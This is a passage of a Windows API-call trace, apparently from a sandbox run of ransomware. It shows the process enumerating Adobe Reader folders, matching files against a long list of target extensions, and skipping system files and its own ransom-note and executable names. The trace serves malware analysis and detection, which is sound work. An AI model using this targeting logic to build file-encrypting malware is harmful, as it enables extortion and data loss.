ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0275.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.369] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb") returned 113 [0275.369] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315d30 [0275.369] FindNextFileW (in: hFindFile=0x3315d30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.369] FindNextFileW (in: hFindFile=0x3315d30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa3e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.370] lstrlenW (lpString="ui-strings.js") returned 13 [0275.370] lstrlenW (lpString=".1cd") returned 4 [0275.370] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0275.370] lstrlenW (lpString=".3ds") returned 4 [0275.370] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0275.370] lstrlenW (lpString=".3fr") returned 4 [0275.370] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0275.370] lstrlenW (lpString=".3g2") returned 4 [0275.370] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0275.370] lstrlenW (lpString=".3gp") returned 4 [0275.370] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0275.370] lstrlenW (lpString=".7z") returned 3 [0275.370] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0275.370] lstrlenW (lpString=".accda") returned 6 [0275.370] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0275.370] lstrlenW (lpString=".accdb") returned 6 [0275.370] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0275.370] lstrlenW (lpString=".accdc") returned 6 [0275.370] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0275.370] lstrlenW (lpString=".accde") returned 6 [0275.370] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0275.370] lstrlenW (lpString=".accdt") returned 6 [0275.370] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0275.370] lstrlenW (lpString=".accdw") returned 6 [0275.370] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0275.370] lstrlenW (lpString=".adb") returned 4 [0275.370] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0275.370] lstrlenW (lpString=".adp") returned 4 [0275.370] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0275.370] lstrlenW (lpString=".ai") returned 3 [0275.370] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0275.370] lstrlenW (lpString=".ai3") returned 4 [0275.371] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0275.371] lstrlenW (lpString=".ai4") returned 4 [0275.371] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0275.371] lstrlenW (lpString=".ai5") returned 4 [0275.371] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0275.371] lstrlenW (lpString=".ai6") returned 4 [0275.371] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0275.371] lstrlenW (lpString=".ai7") returned 4 [0275.371] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0275.371] lstrlenW (lpString=".ai8") returned 4 [0275.371] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0275.371] lstrlenW (lpString=".anim") returned 5 [0275.371] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0275.371] lstrlenW (lpString=".arw") returned 4 [0275.371] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0275.371] lstrlenW (lpString=".as") returned 3 [0275.371] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0275.371] lstrlenW (lpString=".asa") returned 4 [0275.371] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0275.371] lstrlenW (lpString=".asc") returned 4 [0275.371] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0275.371] lstrlenW (lpString=".ascx") returned 5 [0275.371] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0275.371] lstrlenW (lpString=".asm") returned 4 [0275.371] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0275.371] lstrlenW (lpString=".asmx") returned 5 [0275.371] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0275.371] lstrlenW (lpString=".asp") returned 4 [0275.371] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0275.371] lstrlenW (lpString=".aspx") returned 5 [0275.371] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0275.371] lstrlenW (lpString=".asr") returned 4 [0275.371] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0275.371] lstrlenW (lpString=".asx") returned 4 [0275.371] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0275.372] lstrlenW (lpString=".avi") returned 4 [0275.372] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0275.372] lstrlenW (lpString=".avs") returned 4 [0275.372] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0275.372] lstrlenW (lpString=".backup") returned 7 [0275.372] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0275.372] lstrlenW (lpString=".bak") returned 4 [0275.372] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0275.372] lstrlenW (lpString=".bay") returned 4 [0275.372] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0275.372] lstrlenW (lpString=".bd") returned 3 [0275.372] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0275.372] lstrlenW (lpString=".bin") returned 4 [0275.372] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0275.372] lstrlenW (lpString=".bmp") returned 4 [0275.372] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0275.372] lstrlenW (lpString=".bz2") returned 4 [0275.372] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0275.372] lstrlenW (lpString=".c") returned 2 [0275.372] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0275.372] lstrlenW (lpString=".cdr") returned 4 [0275.372] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0275.372] lstrlenW (lpString=".cer") returned 4 [0275.372] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0275.372] lstrlenW (lpString=".cf") returned 3 [0275.372] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0275.372] lstrlenW (lpString=".cfc") returned 4 [0275.372] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0275.372] lstrlenW (lpString=".cfm") returned 4 [0275.372] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0275.372] lstrlenW (lpString=".cfml") returned 5 [0275.372] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0275.372] lstrlenW (lpString=".cfu") returned 4 [0275.372] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0275.372] lstrlenW (lpString=".chm") returned 4 [0275.373] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".cin") returned 4 [0275.373] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".class") returned 6 [0275.373] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0275.373] lstrlenW (lpString=".clx") returned 4 [0275.373] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".config") returned 7 [0275.373] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0275.373] lstrlenW (lpString=".cpp") returned 4 [0275.373] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".cr2") returned 4 [0275.373] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".crt") returned 4 [0275.373] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".crw") returned 4 [0275.373] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".cs") returned 3 [0275.373] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0275.373] lstrlenW (lpString=".css") returned 4 [0275.373] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".csv") returned 4 [0275.373] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".cub") returned 4 [0275.373] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".dae") returned 4 [0275.373] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".dat") returned 4 [0275.373] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".db") returned 3 [0275.373] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0275.373] lstrlenW (lpString=".dbf") returned 4 [0275.373] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".dbx") returned 4 [0275.373] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0275.373] lstrlenW (lpString=".dc3") returned 4 [0275.373] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0275.374] lstrlenW (lpString=".dcm") returned 4 [0275.374] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0275.374] lstrlenW (lpString=".dcr") returned 4 [0275.374] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0275.374] lstrlenW (lpString=".der") returned 4 [0275.374] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0275.374] lstrlenW (lpString=".dib") returned 4 [0275.374] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0275.374] lstrlenW (lpString=".dic") returned 4 [0275.374] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0275.374] lstrlenW (lpString=".dif") returned 4 [0275.374] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0275.374] lstrlenW (lpString=".divx") returned 5 [0275.374] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0275.374] lstrlenW (lpString=".djvu") returned 5 [0275.374] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0275.374] lstrlenW (lpString=".dng") returned 4 [0275.374] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0275.374] lstrlenW (lpString=".doc") returned 4 [0275.374] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0275.374] lstrlenW (lpString=".docm") returned 5 [0275.374] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0275.374] lstrlenW (lpString=".docx") returned 5 [0275.374] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0275.374] lstrlenW (lpString=".dot") returned 4 [0275.374] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0275.374] lstrlenW (lpString=".dotm") returned 5 [0275.374] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0275.374] lstrlenW (lpString=".dotx") returned 5 [0275.374] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0275.374] lstrlenW (lpString=".dpx") returned 4 [0275.374] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0275.374] lstrlenW (lpString=".dqy") returned 4 [0275.374] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0275.375] lstrlenW (lpString=".dsn") returned 4 [0275.375] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0275.375] lstrlenW (lpString=".dt") returned 3 [0275.375] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0275.375] lstrlenW (lpString=".dtd") returned 4 [0275.375] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0275.375] lstrlenW (lpString=".dwg") returned 4 [0275.375] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0275.375] lstrlenW (lpString=".dwt") returned 4 [0275.375] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0275.375] lstrlenW (lpString=".dx") returned 3 [0275.375] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0275.375] lstrlenW (lpString=".dxf") returned 4 [0275.375] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0275.375] lstrlenW (lpString=".edml") returned 5 [0275.375] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0275.375] lstrlenW (lpString=".efd") returned 4 [0275.375] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0275.375] lstrlenW (lpString=".elf") returned 4 [0275.375] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0275.375] lstrlenW (lpString=".emf") returned 4 [0275.375] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0275.375] lstrlenW (lpString=".emz") returned 4 [0275.375] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0275.375] lstrlenW (lpString=".epf") returned 4 [0275.375] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0275.375] lstrlenW (lpString=".eps") returned 4 [0275.375] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0275.375] lstrlenW (lpString=".epsf") returned 5 [0275.375] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0275.376] lstrlenW (lpString=".epsp") returned 5 [0275.376] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0275.376] lstrlenW (lpString=".erf") returned 4 [0275.376] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0275.376] lstrlenW (lpString=".exr") returned 4 [0275.376] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0275.376] lstrlenW (lpString=".f4v") returned 4 [0275.376] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0275.376] lstrlenW (lpString=".fido") returned 5 [0275.376] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0275.376] lstrlenW (lpString=".flm") returned 4 [0275.376] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0275.376] lstrlenW (lpString=".flv") returned 4 [0275.376] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0275.376] lstrlenW (lpString=".frm") returned 4 [0275.376] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0275.376] lstrlenW (lpString=".fxg") returned 4 [0275.376] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0275.376] lstrlenW (lpString=".geo") returned 4 [0275.376] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0275.376] lstrlenW (lpString=".gif") returned 4 [0275.376] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0275.376] lstrlenW (lpString=".grs") returned 4 [0275.376] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0275.376] lstrlenW (lpString=".gz") returned 3 [0275.376] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0275.376] lstrlenW (lpString=".h") returned 2 [0275.376] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0275.376] lstrlenW (lpString=".hdr") returned 4 [0275.376] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0275.376] lstrlenW (lpString=".hpp") returned 4 [0275.377] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0275.377] lstrlenW (lpString=".hta") returned 4 [0275.377] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0275.377] lstrlenW (lpString=".htc") returned 4 [0275.377] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0275.377] lstrlenW (lpString=".htm") returned 4 [0275.377] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0275.377] lstrlenW (lpString=".html") returned 5 [0275.377] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0275.377] lstrlenW (lpString=".icb") returned 4 [0275.377] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0275.377] lstrlenW (lpString=".ics") returned 4 [0275.377] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0275.377] lstrlenW (lpString=".iff") returned 4 [0275.377] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0275.377] lstrlenW (lpString=".inc") returned 4 [0275.377] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0275.377] lstrlenW (lpString=".indd") returned 5 [0275.377] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0275.377] lstrlenW (lpString=".ini") returned 4 [0275.377] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0275.377] lstrlenW (lpString=".iqy") returned 4 [0275.377] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0275.377] lstrlenW (lpString=".j2c") returned 4 [0275.377] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0275.377] lstrlenW (lpString=".j2k") returned 4 [0275.377] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0275.377] lstrlenW (lpString=".java") returned 5 [0275.377] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0275.377] lstrlenW (lpString=".jp2") returned 4 [0275.377] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0275.377] lstrlenW (lpString=".jpc") returned 4 [0275.377] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0275.378] lstrlenW (lpString=".jpe") returned 4 [0275.378] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0275.378] lstrlenW (lpString=".jpeg") returned 5 [0275.378] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0275.378] lstrlenW (lpString=".jpf") returned 4 [0275.378] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0275.378] lstrlenW (lpString=".jpg") returned 4 [0275.378] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0275.378] lstrlenW (lpString=".jpx") returned 4 [0275.378] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0275.378] lstrlenW (lpString=".js") returned 3 [0275.378] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0275.378] lstrlenW (lpString="ui-strings.js") returned 13 [0275.378] lstrlenW (lpString=".love$") returned 6 [0275.378] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0275.378] lstrlenW (lpString="ui-strings.js") returned 13 [0275.378] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0275.378] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0275.378] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0275.378] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0275.378] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0275.378] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0275.378] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0275.378] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0275.378] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js") returned 127 [0275.378] FindNextFileW (in: hFindFile=0x3315d30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa3e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.378] FindClose (in: hFindFile=0x3315d30 | out: hFindFile=0x3315d30) returned 1 [0275.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.378] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0275.379] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es") returned 113 [0275.379] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es") returned 1 [0275.379] lstrlenW (lpString="es-es") returned 5 [0275.379] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="es-es") returned -1 [0275.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.379] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es") returned 113 [0275.379] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0275.379] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.379] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbe19, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.379] lstrlenW (lpString="ui-strings.js") returned 13 [0275.379] lstrlenW (lpString=".1cd") returned 4 [0275.379] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0275.379] lstrlenW (lpString=".3ds") returned 4 [0275.379] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0275.379] lstrlenW (lpString=".3fr") returned 4 [0275.379] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0275.379] lstrlenW (lpString=".3g2") returned 4 [0275.379] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0275.379] lstrlenW (lpString=".3gp") returned 4 [0275.379] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0275.379] lstrlenW (lpString=".7z") returned 3 [0275.379] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0275.379] lstrlenW (lpString=".accda") returned 6 [0275.380] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0275.380] lstrlenW (lpString=".accdb") returned 6 [0275.380] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0275.380] lstrlenW (lpString=".accdc") returned 6 [0275.380] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0275.380] lstrlenW (lpString=".accde") returned 6 [0275.380] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0275.380] lstrlenW (lpString=".accdt") returned 6 [0275.380] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0275.380] lstrlenW (lpString=".accdw") returned 6 [0275.380] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0275.380] lstrlenW (lpString=".adb") returned 4 [0275.380] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0275.380] lstrlenW (lpString=".adp") returned 4 [0275.380] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0275.380] lstrlenW (lpString=".ai") returned 3 [0275.380] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0275.380] lstrlenW (lpString=".ai3") returned 4 [0275.380] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0275.380] lstrlenW (lpString=".ai4") returned 4 [0275.380] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0275.380] lstrlenW (lpString=".ai5") returned 4 [0275.380] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0275.380] lstrlenW (lpString=".ai6") returned 4 [0275.380] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0275.380] lstrlenW (lpString=".ai7") returned 4 [0275.380] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0275.380] lstrlenW (lpString=".ai8") returned 4 [0275.380] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0275.380] lstrlenW (lpString=".anim") returned 5 [0275.380] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0275.380] lstrlenW (lpString=".arw") returned 4 [0275.380] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0275.380] lstrlenW (lpString=".as") returned 3 [0275.380] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0275.380] lstrlenW (lpString=".asa") returned 4 [0275.380] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0275.381] lstrlenW (lpString=".asc") returned 4 [0275.381] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0275.381] lstrlenW (lpString=".ascx") returned 5 [0275.381] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0275.381] lstrlenW (lpString=".asm") returned 4 [0275.381] 